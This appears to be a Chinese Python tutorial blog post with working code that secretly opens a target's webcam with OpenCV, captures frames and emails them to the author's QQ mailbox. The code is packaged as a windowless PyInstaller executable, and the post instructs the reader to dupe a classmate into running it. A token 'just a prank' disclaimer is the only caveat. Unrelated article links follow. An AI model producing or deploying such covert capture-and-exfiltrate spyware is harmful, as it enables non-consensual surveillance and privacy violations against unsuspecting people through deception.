用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)


Posted in Python onMay 17, 2020

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '写你的qq邮箱地址'
  receivers = '写你的qq邮箱地址'
  message = MIMEMultipart('related')
  subject = '终于能发图片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '写授权码')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木! 

Python 相关文章推荐
python获得两个数组交集、并集、差集的方法
Mar 27 Python
Python中转换角度为弧度的radians()方法
May 18 Python
python opencv读mp4视频的实例
Dec 07 Python
Python Image模块基本图像处理操作小结
Apr 13 Python
python操作excel让工作自动化
Aug 09 Python
python入门之基础语法学习笔记
Feb 08 Python
在python tkinter界面中添加按钮的实例
Mar 04 Python
matplotlib阶梯图的实现(step())
Mar 02 Python
pycharm2021激活码使用教程(永久激活亲测可用)
Mar 30 Python
Python使用Kubernetes API访问集群
May 30 Python
python中pandas对多列进行分组统计的实现
Jun 18 Python
python字符串拼接.join()和拆分.split()详解
Nov 23 Python
Python键鼠操作自动化库PyAutoGUI简介(小结)
May 17 #Python
python 实现PIL模块在图片画线写字
May 16 #Python
在python image 中实现安装中文字体
May 16 #Python
Python 判断时间是否在时间区间内的实例
May 16 #Python
解决Python Matplotlib绘图数据点位置错乱问题
May 16 #Python
Python填充任意颜色,不同算法时间差异分析说明
May 16 #Python
解决echarts中饼图标签重叠的问题
May 16 #Python
You might like
PHP的ASP防火墙
2006/10/09 PHP
PHP array_key_exists检查键名或索引是否存在于数组中的实现方法
2016/06/13 PHP
PHP图形计数器程序显示网站用户浏览量
2016/07/20 PHP
php倒计时出现-0情况的解决方法
2016/07/28 PHP
让您的菜单不离网站
2006/10/03 Javascript
原生js写的放大镜效果
2012/08/22 Javascript
关于js内存泄露的一个好例子
2013/12/09 Javascript
写出高效jquery代码的19条指南
2014/03/19 Javascript
jquery 判断滚动条到达了底部和顶端的方法
2014/04/02 Javascript
莱鸟介绍window.print()方法
2016/01/06 Javascript
easyui tree带checkbox实现单选的简单实例
2016/11/07 Javascript
浅谈JS读取DOM对象(标签)的自定义属性
2016/11/21 Javascript
JS自定义混合Mixin函数示例
2016/11/26 Javascript
原生js实现倒计时功能(多种格式调用)
2017/01/12 Javascript
Bootstrap table表格初始化表格数据的方法
2018/07/25 Javascript
vue移动端微信授权登录插件封装的实例
2018/08/28 Javascript
基于Vue组件化的日期联动选择器功能的实现代码
2018/11/30 Javascript
全面解析JavaScript Module模式
2020/07/24 Javascript
JavaScript 空间坐标的使用
2020/08/19 Javascript
[06:21]2014DOTA2国际邀请赛 庆祝VG首阶段领跑;B叔为挣牛排半夜整理情报
2014/07/13 DOTA
Python中线程的MQ消息队列实现以及消息队列的优点解析
2016/06/29 Python
python监控键盘输入实例代码
2018/02/09 Python
python opencv之分水岭算法示例
2018/02/24 Python
用CSS禁用输入法(CSS3 UI规范)实例解析
2012/12/04 HTML / CSS
印度最大的旅游网站:MakeMyTrip
2016/10/05 全球购物
新西兰便宜隐形眼镜购买网站:QUICKLENS New Zealand
2019/03/02 全球购物
乌克兰数字设备、配件和智能技术的连锁商店:KTC
2020/08/18 全球购物
启动一个线程是用run()还是start()
2016/12/25 面试题
夏季奶茶店创业计划书
2014/01/16 职场文书
奥林匹克的口号
2014/06/13 职场文书
小学二年级数学教学计划
2015/01/20 职场文书
单位推荐信范文
2015/03/27 职场文书
新员工实习期个人工作总结
2015/10/15 职场文书
详解如何使用Node.js实现热重载页面
2021/05/06 Javascript
zabbix agent2 监控oracle数据库的方法
2021/05/13 Oracle
Python编程super应用场景及示例解析
2021/10/05 Python